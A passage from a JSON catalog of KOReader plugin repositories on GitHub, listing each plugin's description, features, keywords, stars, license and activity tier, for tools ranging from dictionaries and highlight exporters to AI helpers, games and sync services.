libzmanim","purpose":"","categories":["misc"],"features":[],"keywords":["chitas","libzmanim"],"topics":[],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2023-08-18T17:14:44Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":0,"detail":null,"activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","stub"]},{"id":"zackify/picturefeed.koplugin","owner":"zackify","repo":"picturefeed.koplugin","url":"https://github.com/zackify/picturefeed.koplugin","description":"Render live camera / video feed images in koreader, useful for security cams and checking for packages while reading ","purpose":"A KOReader plugin that renders images fetched from a list of URLs at a set interval, in a corner of your e-reader's screen. Built for keeping an eye on security cameras while you read — works with Frigate, Blue Iris, UniFi, or any camera/NVR that exposes a plain JPEG snapshot URL.","categories":["web","files","reading"],"features":["Any number of image URLs (\"feeds\"). Tap the image once to rotate","Refresh interval in seconds (default 5; 2/3/5/10/30 available)","Placement in any corner, size from 25–66 % of screen width","Partial e-ink refreshes scoped to just the image — your book page never","The overlay never blocks input: page turns, menus and gestures all behave","Auto-off timer (default 15 min) so a forgotten feed doesn't drain the","Toggle from the menu, a gesture, or a QuickMenu entry","Frigate: http:// :5000/api/ /latest.jpg","Anything else: look for a \"JPEG snapshot\" / \"still image\" URL in your","Plain http:// only — the fetch path doesn't do TLS. Keep feeds on"],"keywords":["render","live","camera","video","feed","images","useful","security","cams","checking","packages","while","reading","koreader-picture-feed","setup","option","device","settings","file","getting","snapshot","url","controls","watching"],"topics":[],"stars":2,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-08-12T15:33:48Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":4777,"detail":"detail/zackify__picturefeed.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"abertellini2810-dev/whitakers_words.koplugin","owner":"abertellini2810-dev","repo":"whitakers_words.koplugin","url":"https://github.com/abertellini2810-dev/whitakers_words.koplugin","description":"A little plugin for KOReader to use Whitaker's Words in texts: highlight a Latin word and have its inflection and definition returned.","purpose":"A little plugin for KOReader to use Whitaker's Words in texts: highlight a Latin word and have its inflection and definition returned.","categories":["sync","dict"],"features":[],"keywords":["little","whitaker","words","texts","highlight","latin","word","have","inflection","definition","returned","whitakers","program","compilation","compiled","line","original","gprbuild","static","also","arm-linux-gnueabihf","button","calls","changed"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-11-06T14:28:58Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2511,"detail":"detail/abertellini2810-dev__whitakers_words.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"adapik/hebrew.koplugin","owner":"adapik","repo":"hebrew.koplugin","url":"https://github.com/adapik/hebrew.koplugin","description":"Plugin for KoReader to interpret Hebrew language","purpose":"A KOReader plugin that improves Hebrew dictionary lookups by automatically stripping common attached prefixes before searching. This ensures that words written with prepositions or conjunctions fused to them are still found in the dictionary.","categories":["dict","files"],"features":["The plugin registers itself with KOReader's languagesupport module via languagesupport:registerPlugin","Before every dictionary lookup, onWordLookup is called with the selected text","If the text contains at least one Hebrew character, strip_prefixes attempts to remove known prefixes (up to two layers deep,…","All valid stripped candidates are returned to the dictionary module, which queries each one in turn","To add a missing prefix, append its literal UTF-8 byte sequence to the PREFIXES table in main.lua. Place longer combinations…","The minimum candidate length after stripping is 4 bytes (≈ 2 Hebrew characters). Adjust MIN_BYTES if needed","Debug output is written via logger.dbg and visible in KOReader's log when debug logging is enabled"],"keywords":["interpret","hebrew","language","dictionary","problem","works","prefixes","compatibility","file","structure","root","text","written","before","combinations","document","languagesupport","lookup","module","two-letter","attached","automatically","bytes","candidates"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-07T17:45:38Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3584,"detail":"detail/adapik__hebrew.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Alsharad/opds_plus.koplugin","owner":"Alsharad","repo":"opds_plus.koplugin","url":"https://github.com/Alsharad/opds_plus.koplugin","description":"Fork of OPDS Plus for KOReader, adding per-catalog custom HTTP headers for catalogs behind Cloudflare Access or similar gateways","purpose":"Version: 1.2.0-headers OPDS Plus is a feature-rich enhancement of KOReader's built-in OPDS catalog browser, providing visual book cover displays, multiple viewing modes, and extensive customization options for browsing online book catalogs.","categories":["sync","ui","web","library"],"features":["Visual Book Covers: Browse catalogs with book cover images displayed alongside titles","Dual View Modes: Switch between List View and Grid View layouts","Multiple Display Options: Customize how books are presented","Book Info Dialog: Open an at-a-glance details dialog with improved cover handling","Sync Gesture Actions: Trigger sync-related actions directly from configured gestures","Cover Quality + Cache: Improved cover rendering pipeline with disk-backed caching","Book covers displayed alongside title and author information","Adjustable cover sizes with presets (Compact, Regular, Large, Extra Large)","Custom size option (5-25% of screen height)","Clean, readable layout optimized for e-readers"],"keywords":["ereader","koreader","koreader-plugin","lua","opds","fork","plus","adding","per-catalog","custom","http","headers","catalogs","behind","cloudflare","access","similar","gateways","enhanced","browser","catalog","browsing","list","view"],"topics":["ereader","koreader","koreader-plugin","lua","opds"],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-08-05T05:20:52Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":12095,"detail":"detail/Alsharad__opds_plus.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"archbtww/vncviewer.koplugin","owner":"archbtww","repo":"vncviewer.koplugin","url":"https://github.com/archbtww/vncviewer.koplugin","description":"Launch https://github.com/hwhw/kindlevncviewer from within KOReader","purpose":"Adapted from https://github.com/hwhw/kindlevncviewer","categories":["misc"],"features":[],"keywords":["launch","https","github","com","hwhw","kindlevncviewer","within"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-12-06T09:35:45Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":53,"detail":"detail/archbtww__vncviewer.koplugin.json","activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"arthurrump/logseq-highlights.koplugin","owner":"arthurrump","repo":"logseq-highlights.koplugin","url":"https://github.com/arthurrump/logseq-highlights.koplugin","description":"A KOReader plugin that exports highlights in a format compatible with Logseq's PDF highlight features","purpose":"A KOReader plugin that exports highlights in a format compatible with Logseq's PDF highlight features. Then the plugin will be available through the Export highlights menu.","categories":["sync","notes"],"features":["Integrates with KOReader's built-in highlight export system as an additional export format","Generates Logseq-compatible markdown files (hls .md) in the pages/ subdirectory","Generates Logseq-compatible EDN files ( .edn) in the assets/ subdirectory, with correct positioning of highlight boxes","Includes user annotations (notes) on highlights as child blocks in the markdown output","Deterministic UUIDs for highlights, so re-exporting produces consistent results","Configurable Logseq graph directory path","Configurable file path transformation for file:: and file-path:: properties","Open the Export highlights menu (in the top menu bar under the tools section)","Go to Choose formats and services","Open the Logseq submenu"],"keywords":["koplugin","koreader","koreader-plugin","logseq","exports","highlights","format","compatible","pdf","highlight","configuration","path","transformation","color","mapping","running","tests","file","export","directory","files","graph","markdown","menu"],"topics":["koplugin","koreader","koreader-plugin","logseq"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-12T11:55:40Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2409,"detail":"detail/arthurrump__logseq-highlights.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"AvatoAvenue/calibre-to-koreader_metadataexporter","owner":"AvatoAvenue","repo":"calibre-to-koreader_metadataexporter","url":"https://github.com/AvatoAvenue/calibre-to-koreader_metadataexporter","description":"Extracts Calibre metadata (series, series index, language) from PDF files into KOReader metadata","purpose":"A simple plugin who uses a modded version of the calibre.koplugin to get the languages, series and the index of the books imported and implement them in the KOReader metadata","categories":["dict","library","files"],"features":[],"keywords":["koreader","koreader-plugin","metadata-extraction","extracts","calibre","metadata","series","index","language","pdf","files","tbd"],"topics":["koreader","koreader-plugin","metadata-extraction"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-03T00:56:07Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":240,"detail":"detail/AvatoAvenue__calibre-to-koreader_metadataexporter.json","activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"Borisvl/sudokuplus.koplugin","owner":"Borisvl","repo":"sudokuplus.koplugin","url":"https://github.com/Borisvl/sudokuplus.koplugin","description":"A full-featured, logical Sudoku puzzle game and interactive tutor crafted specifically for e-ink readers running [KOReader](https://github.com/koreader/koreader) (Kobo, Kindle, PocketBook, Android).","purpose":"A full-featured, logical Sudoku puzzle game and interactive tutor crafted specifically for e-ink readers running KOReader (Kobo, Kindle, PocketBook, Android).","categories":["games"],"features":["🧠 17 Human Deductive Techniques: Complete logical solver ported from rustoku and HoDoKu logic. Every puzzle is 100% uniquely…","*Basic*: Naked/Hidden Singles, Naked/Hidden Pairs, Triples, and Quads","*Intersections*: Locked Candidates (Pointing & Claiming)","*Wings & Fish*: X-Wing, Swordfish, Jellyfish, Skyscraper, W-Wing, XY-Wing, XYZ-Wing","🎯 6 Balanced Difficulty Tiers: Beginner, Easy, Medium, Hard, Master, and Expert, backed by an algorithmic generator with 5…","Identify: Teaches you the next logical technique to look for","Highlight: Highlights the pattern cells, pincers, and affected candidate eliminations directly on your board","Apply: Executes the elimination or digit placement for you","⚡ E-Ink Optimized Display","Region-bounded per-cell partial refreshes with zero full-screen flashing during normal tap-and-play"],"keywords":["koreader-plugin","full-featured","logical","sudoku","puzzle","game","interactive","tutor","crafted","specifically","e-ink","readers","running","https","github","com","kobo","kindle","pocketbook","android","sudoku+","play","developer","guide"],"topics":["koreader-plugin"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T16:28:56Z","license":"NOASSERTION","default_branch":"main","has_meta":true,"readme_bytes":6446,"detail":"detail/Borisvl__sudokuplus.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"boypt/assistant.koplugin","owner":"boypt","repo":"assistant.koplugin","url":"https://github.com/boypt/assistant.koplugin","description":"Assistant: AI Helper Plugin for KOReader : lets you interact with AI language models (Claude, GPT-4, Gemini, DeepSeek, Ollama etc.) while reading","purpose":"A powerful plugin that lets you interact with AI language models (Claude, GPT-4, Gemini, DeepSeek, Ollama etc.) while reading. Ask questions about text, get translations, summaries, explanations and more - all without leaving your book.","categories":["dict","ai"],"features":["Multiple AI Providers: Support for","Claude, OpenAI, Gemini, DeepSeek, etc","OpenRouter, Ollama, etc","Other OpenAI-compatible API services (Groq, NVIDIA, etc.)","Stream Mode: Real-time responses from the API. Get the full LLM experience on e-ink devices","Multiple Providers/Models: Select different models or AI provider platforms in the UI","Web Search Tool Calling: LLMs search the web and improve the answer with real and updated information","Built-in Prompts","Translation: Instantly translate highlighted text to any language","Quick Actions: One-click buttons for common tasks like summarizing or explaining"],"keywords":["assistant","helper","lets","interact","language","models","claude","gpt-4","gemini","deepseek","ollama","etc","while","reading","basic","requirements","getting","started","api","keys","configure","openai-compatible","apis","standard"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-08-15T14:15:07Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":9275,"detail":"detail/boypt__assistant.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"breeze101792/ailearning.koplugin","owner":"breeze101792","repo":"ailearning.koplugin","url":"https://github.com/breeze101792/ailearning.koplugin","description":"","purpose":"AILearning is a KOPLUGIN for Kindle devices that integrates AI-powered learning assistance directly into your reading experience. It allows you to interact with highlighted text and dictionary lookups using various AI models, including custom servers and Ollama.","categories":["misc"],"features":["AI Menu Integration: Access a dedicated AI menu from the highlight dialog for various AI actions","Dictionary Popup Integration: Get AI-powered insights like \"Word Origin\" and \"Dictionary\" definitions directly from the…","Configurable AI Backends","Support for a main AI server (e.g., OpenAI, custom API)","Support for Ollama for local AI models","Support for multiple user-defined AI servers","Toggle between main server, Ollama, and user-defined servers directly from the main menu","Multiple AI Question Types: The plugin offers various AI-powered question types to enhance your learning","Customizable Language: Set the target language for AI responses","Configuration Management: Load, save, and modify plugin settings directly from the KOPLUGIN menu"],"keywords":["ailearning","configuration","menu","dictionary","example","server","directly","json","main","model","ollama","word","models","servers","various","ai-powered","directory","enable","false","file","here","highlighted","kindle","language"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-12-08T02:21:08Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3963,"detail":"detail/breeze101792__ailearning.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"c0eos/bluetooth.koplugin","owner":"c0eos","repo":"bluetooth.koplugin","url":"https://github.com/c0eos/bluetooth.koplugin","description":"A plugin to easily turn bluetooth on and off in KOReader for Kobo Devices. Basic console skills required.","purpose":"This plugin allows the user to turn Bluetooth on/off and connect a Bluetooth device to be connected on Kobo devices.","categories":["device"],"features":["Bluetooth On","Bluetooth Off","BTGotoNextChapter: Navigate to the next chapter","BTGotoPrevChapter: Navigate to the previous chapter","BTDecreaseFontSize: Reduce the font size by 1","BTIncreaseFontSize: Increase the font size by 1","BTToggleBookmark: Toggle bookmarks on and off","BTIterateRotation: Rotate the screen orientation 90 degrees","BTBluetoothOff: Turn off Bluetooth","BTRight: Go to the next page"],"keywords":["easily","turn","bluetooth","off","kobo","devices","basic","console","skills","required","page","turner","works","actions","refresh","device","input","connect","passive","gesture","integration","automatic","listening","dedicated"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2024-10-31T16:32:11Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":7521,"detail":"detail/c0eos__bluetooth.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","documented"]},{"id":"chaulagainrupak/bookorbit-koplugin","owner":"chaulagainrupak","repo":"bookorbit-koplugin","url":"https://github.com/chaulagainrupak/bookorbit-koplugin","description":"KOReader plugin for integration with BookOrbit","purpose":"This plugin connects KOReader to your BookOrbit account, pushing reading session data and live progress updates so your BookOrbit dashboard stays in sync across all your devices: e-readers, tablets, phones, and desktops.","categories":["sync","reading"],"features":["Live progress sync: pushes your current page and percentage to BookOrbit as you read, keeping your \"Currently Reading\" cards up…","Full reading statistics sync: sends session-level data (page interactions, timestamps, durations) from KOReader's local…","Delta syncing: only sends new data since the last successful sync, not the full database every time","Automatic sync triggers: syncs on book close, device suspend, network reconnect (if >30 min since last sync), and configurable…","Multi-device support: each device syncs independently under your BookOrbit account; all stats are aggregated server-side","KOReader installed on your device (e-reader, phone, or tablet)","A BookOrbit account with a KOReader account configured","Network access from your KOReader device","Open KOReader and go to Tools > BookOrbit > Settings"],"keywords":["integration","bookorbit","prerequisites","zip","recommended","source","directory","structure","requirement","configuration","per-user","setup","works","data","sync","flow","triggers","api","contract","put","progress","post","stats","authentication"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-10T17:54:13Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":8841,"detail":"detail/chaulagainrupak__bookorbit-koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"consoleaf/repl.koplugin","owner":"consoleaf","repo":"repl.koplugin","url":"https://github.com/consoleaf/repl.koplugin","description":"REPL plugin for `kopl`","purpose":"","categories":["misc"],"features":[],"keywords":["repl","kopl"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-07-25T22:40:30Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":0,"detail":null,"activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","stub"]},{"id":"CookieCaptainD/DoctorBattery.koplugin","owner":"CookieCaptainD","repo":"DoctorBattery.koplugin","url":"https://github.com/CookieCaptainD/DoctorBattery.koplugin","description":"A KOReader plugin for battery diagnostics, health analysis and charging status.","purpose":"Doctor Battery Battery diagnostics plugin for KOReader Doctor Battery is a battery diagnostics plugin for KOReader that provides detailed information about your device's battery health, charging status and overall condition.","categories":["dict"],"features":["🔋 Battery percentage","❤️ Battery health estimation","⚡ Charging / discharging status","🔄 Battery cycle count (when supported)","🌡️ Battery temperature (when available)","🔌 Charging source detection (USB / AC / Wireless, when supported)","📊 Detailed battery information","🩺 Automatic battery diagnostics","⚠️ Detection of possible battery issues","🌍 Multi-language support"],"keywords":["battery","diagnostics","health","analysis","charging","status","language","adding","translation","emoji","compatibility","main","screen","diagnosis","electrical","parameters","doctor","information","available","currently","detailed","device","doctorbattery","file"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-08-01T23:30:30Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":4141,"detail":"detail/CookieCaptainD__DoctorBattery.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Cusanity/highlightsync.koplugin","owner":"Cusanity","repo":"highlightsync.koplugin","url":"https://github.com/Cusanity/highlightsync.koplugin","description":"A KOReader plugin to sync highlights, notes, and bookmarks across multiple devices using cloud storage like WebDAV or Dropbox.","purpose":"English 跨设备同步 KOReader 的划线、笔记和书签。 ⚠️ 注意：如果更改同步文件夹，需要手动移动已有的 JSON 文件到新位置。 欢迎 PR 和 Issue！ GNU Affero General Public License v3","categories":["sync","web","files","notes"],"features":["🔄 手动同步：划线、笔记、书签","📝 智能合并：离线在多设备做的标注会自动合并","☁️ 云存储：支持 WebDAV 和 Dropbox","📅 时间戳：基于最新更新时间决定保留哪个版本","🌐 中文支持：完整的简体/繁体中文界面","从 GitHub 下载插件","解压后找到 highlightsync.koplugin 文件夹","将该文件夹复制到 KOReader 设备的 koreader/plugins/ 目录","打开 KOReader","主菜单 → 工具 → Highlight Sync → Sync Cloud"],"keywords":["sync","highlights","notes","bookmarks","across","multiple","devices","cloud","storage","like","webdav","dropbox","highlight","2025","json","github","highlightsync"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-08-08T17:24:08Z","license":"AGPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":1806,"detail":"detail/Cusanity__highlightsync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Cusanity/xray.koplugin","owner":"Cusanity","repo":"xray.koplugin","url":"https://github.com/Cusanity/xray.koplugin","description":"AI-powered character tracking, timeline, and historical context etc.","purpose":"在电脑端利用 AI 生成 X-Ray 数据，并在 KOReader 上实现 Amazon Kindle X-Ray 阅读体验，为任何 EPUB 书籍提供角色、地点、主题和时间线分析。 提供商选择（OpenAI 兼容 / Claude / Groq / Gemini / DeepSeek）、在线获取模型列表、API 密钥填写、Calibre 书库路径、温度设置；底部重试/回退链可配置多模型串联，失败时自动切换到下一个。","categories":["sync","ai","reading"],"features":["菜单 → X-Ray — 查看角色 / 地点 / 主题 / 时间线（只显示已读内容，零剧透）","长按文字 → X-Ray — 即时查看该角色 / 地点信息","阅读器：菜单 → X-Ray → 从PC接收，记下显示的设备 IP（默认端口 8763）。","GUI：在 Sync 标签页填入设备 IP，点「立即推送」或勾选生成后自动推送。","Bug 报告：附上 KOReader 版本和 crash.log","功能建议：描述使用场景"],"keywords":["ai-powered","character","tracking","timeline","historical","context","etc","x-ray","gui","configuration","books","progress","sync","wi-fi","webdav","calibre","epub","xray","claude","data","deepseek","fork","gemini","groq"],"topics":[],"stars":1,"forks":1,"is_fork":true,"archived":false,"pushed_at":"2026-08-13T02:26:50Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":9934,"detail":"detail/Cusanity__xray.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"dani84bs/RemoteLibrary.koplugin","owner":"dani84bs","repo":"RemoteLibrary.koplugin","url":"https://github.com/dani84bs/RemoteLibrary.koplugin","description":"☁️ Seamlessly overlay and browse your remote cloud libraries directly inside KOReader's native file manager on-demand.","purpose":"A feature-rich KOReader plugin designed to seamlessly overlay your remote cloud library on top of your local e-reader filesystem. With RemoteLibrary, you can browse, download, and open files from your cloud storage providers on-demand as if they were stored locally.","categories":["sync","ui","files"],"features":["🌐 Transparent Overlaying: Displays remote folders and files seamlessly inside your local FileChooser view, marked with a clean…","⚡ On-Demand Downloads: Simply tap a remote file to download and open it instantly","📁 Smart Directory Sync: Integrates with KOReader's native cloudstorage plugin to support WebDAV, FTP, Dropbox, and other cloud…","🚀 Offline Maps: Caches your remote library structure (remotelibrary_map.lua) for blazing-fast browsing without constant network…","🛠️ UI Extensions: Directly hooks into KOReader's file manager settings and metadata providers to prevent unnecessary network…","Ensure the KOReader Cloud storage plugin is enabled","Add a cloud storage provider (e.g., WebDAV) inside KOReader","Open KOReader's Top Menu -> Tools (gear icon) -> Remote Library -> Settings"],"keywords":["koreader","koreader-plugin","synchronization","webdav","seamlessly","overlay","browse","remote","cloud","libraries","directly","inside","native","file","manager","on-demand","remotelibrary","key","works","architecture","setup","copy","configure","storage"],"topics":["koreader","koreader-plugin","synchronization","webdav"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-01T15:40:42Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":3355,"detail":"detail/dani84bs__RemoteLibrary.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Devsur11/bookmeta.koplugin","owner":"Devsur11","repo":"bookmeta.koplugin","url":"https://github.com/Devsur11/bookmeta.koplugin","description":"","purpose":"A KOReader plugin to read, edit, and persist book metadata directly into EPUB and PDF files. The plugin stores two settings locally:","categories":["ui","library","ai","notes"],"features":["Edit fields in-app: Modify title, author, series, description, publisher, publication date, language, and tags through a simple…","Auto-fill via Gemini: Send a title/author query to Google's Gemini API and automatically populate all metadata fields from the…","Cover management","Browse the local filesystem for an image to use as a cover","Search Open Library's free cover database (requires Wi-Fi) and preview/download covers","Preview the book's current cover image","Persist directly into the file: Metadata is written into the EPUB's OPF XML or the PDF's Info dictionary. A backup is created…","Google Gemini integration: Prompts the user for an API key on first use (stored locally)","Kindle: mnt/us/koreader/plugins/","Kobo: .adds/koreader/plugins/"],"keywords":["book","metadata","editor","bookmeta","formats","basic","editing","auto-fill","gemini","changing","cover","settings","requirements","technical","notes","open","library","epub","author","files","google","search","title","automatically"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-27T12:04:25Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3891,"detail":"detail/Devsur11__bookmeta.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"echoriiku/notesnook.koplugin","owner":"echoriiku","repo":"notesnook.koplugin","url":"https://github.com/echoriiku/notesnook.koplugin","description":"A plugin for KOReader that exports books to Notesnook as structured HTML notes.","purpose":"A plugin for KOReader that exports books to Notesnook as structured HTML notes. Each exported note contains the book cover, metadata, reading statistics, reading timeline, rating, highlights, annotations, and other information gathered from KOReader, creating a complete reading record inside Notesnook.","categories":["files","notes"],"features":["Export any supported book to Notesnook","Embed the book cover directly into the note","Include metadata such as title, author, series, publisher, and description","Generate a reading dashboard using KOReader statistics","Include a per-day reading timeline with progress, duration, pace, and page ranges","Export ratings, highlights, annotations, and highlight colors","Configurable notebook, tags, favorite, and read-only state","Confirmation dialog before sending (optional)","Supports gesture assignment and File Manager integration","KOReader"],"keywords":["exports","books","notesnook","structured","html","notes","requirements","configuration","required","optional","file","manager","gesture","exported","note","formats","reading","book","statistics","directory","inbox","before","cover","duration"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-08T21:02:34Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3840,"detail":"detail/echoriiku__notesnook.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Eernie/komga.koplugin","owner":"Eernie","repo":"komga.koplugin","url":"https://github.com/Eernie/komga.koplugin","description":"KOReader plugin to sync CBZ comics and reading progress bi-directionally with a self-hosted Komga server","purpose":"Subscribe to Komga series, download their unread CBZ files to your Kobo, and sync reading progress bi-directionally with your Komga server.","categories":["sync","library","reading","content"],"features":["A Kobo (or other device) running KOReader","A Komga server (v1.x) reachable from the device, with an API key","Kobo: .adds/koreader/plugins/komga.koplugin","Server URL — e.g. https://komga.example.com","API key — paste your Komga API key","Manage series — tick the series you want synced","Sync now — runs a sync immediately","Progress sync: reading is page-based for CBZ, which maps 1:1 to Komga's","Cleanup: once a book is finished *and* that completion has been pushed to"],"keywords":["sync","cbz","comics","reading","progress","bi-directionally","self-hosted","komga","server","requirements","configure","works","development","download","device","folder","series","books","kobo","unread","both","changed","completion","copy"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-24T09:57:37Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2428,"detail":"detail/Eernie__komga.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"eikopf/paragraph-spacing.koplugin","owner":"eikopf","repo":"paragraph-spacing.koplugin","url":"https://github.com/eikopf/paragraph-spacing.koplugin","description":"A KOReader plugin for controlling per-book paragraph spacing","purpose":"This plugin adds a per-book paragraph spacing control to KOReader's bottom configuration menu; it is designed to look and behave like the built-in line spacing control.","categories":["misc"],"features":[],"keywords":["controlling","per-book","paragraph","spacing","compatibility","bottom","menu","configuration","control","directory","paragraph-spacing"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-03T11:56:36Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":827,"detail":"detail/eikopf__paragraph-spacing.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"ElPandaP/taletrack.koplugin","owner":"ElPandaP","repo":"taletrack.koplugin","url":"https://github.com/ElPandaP/taletrack.koplugin","description":"Plugin of KOReader for MediaTracker","purpose":"Plugin of KOReader for TaleTrack","categories":["misc"],"features":[],"keywords":["mediatracker","taletrack-koreader"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-30T06:23:13Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":54,"detail":"detail/ElPandaP__taletrack.koplugin.json","activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"ericexisting/charactertracker.koplugin","owner":"ericexisting","repo":"charactertracker.koplugin","url":"https://github.com/ericexisting/charactertracker.koplugin","description":"KOReader character tracker for tracking reading progress and stats.","purpose":"Track characters, relationships, and notes while you read. Never forget who's who in a long novel — or across an entire series — again.","categories":["sync","files","reading"],"features":["Add characters on the fly from the highlight popup or the Tools menu","Aliases — track nicknames, titles, house names, alternate spellings","Notes — add evolving observations as the story progresses; edit or delete any time","Rating — rate characters from ★ to ★★★★★","Role — tag as Main, Secondary, Tertiary, Mentioned, Antagonist, or Narrator","Rename — safely rename a character (relationships pointing to it are updated automatically)","Link characters with predefined types: father, mother, son, daughter, brother, sister, spouse, ally, enemy, friend, mentor,…","Custom relationships for anything else (squire, rival, betrothed, ...)","Detail view shows both outgoing (→) and incoming (←) relationships","Tap a relationship to jump to that character's detail view"],"keywords":["character","tracker","tracking","reading","progress","stats","characters","relationships","in-text","recognition","highlight","integration","series","shared","across","books","adding","viewing","editing","underlining","names","text","linking","book"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-06-15T02:49:33Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4084,"detail":"detail/ericexisting__charactertracker.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Erik262/notionsync.koplugin","owner":"Erik262","repo":"notionsync.koplugin","url":"https://github.com/Erik262/notionsync.koplugin","description":"KOReader Plugin that sync highlights to Notion databases.","purpose":"NotionSync is a plugin for KOReader that synchronizes your book highlights and notes to a Notion database. Each book gets its own page with an inline annotations table — sortable, filterable, and visible directly on the page.","categories":["sync","files","notes"],"features":["Per-Book Annotations Table: Each book page contains an inline Notion database with columns for Text, Chapter, Created, Note, and…","Efficient Incremental Sync: Only new or changed highlights are synced. Re-syncing a book with no changes makes zero annotation…","HighlightID Tracking: Each annotation carries a unique ID for reliable matching. If local sync state is lost, the plugin recovers…","Orphan Cleanup: Highlights deleted locally are automatically archived in Notion on the next sync","Self-Healing: If a row is deleted in Notion manually, the plugin detects the 404 and recreates it. If a book page or annotations…","Rich Metadata Sync: Automatically fills in Authors, ISBN, Progress, Language, Pages, and Start Reading date (if those columns…","Live Progress Display: Shows real-time progress during sync (e.g. \"Syncing 10 / 115\") with running counters for new, updated, and…"],"keywords":["sync","highlights","notion","databases","notionsync","setup","books","database","annotations","table","auto-created","updating","device","auto-update","manually","usb","migrating","pre-1","current","book","all","gesture","reset","state"],"topics":[],"stars":1,"forks":1,"is_fork":true,"archived":false,"pushed_at":"2026-06-02T14:31:13Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":9828,"detail":"detail/Erik262__notionsync.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"Estela-Zelin84/clipboardsync.koplugin","owner":"Estela-Zelin84","repo":"clipboardsync.koplugin","url":"https://github.com/Estela-Zelin84/clipboardsync.koplugin","description":"KOReader 双向剪贴板同步插件（基于 ntfy）","purpose":"本插件基于开源推送服务 ntfy.sh 实现,在此向 ntfy 的作者 Philipp C. Heckel 致敬——正是他免费开放的 pub/sub 服务和移动端 App,让这个插件成为可能。ntfy 仓库: github.com/binwiederhier/ntfy。","categories":["device"],"features":["iPhone / 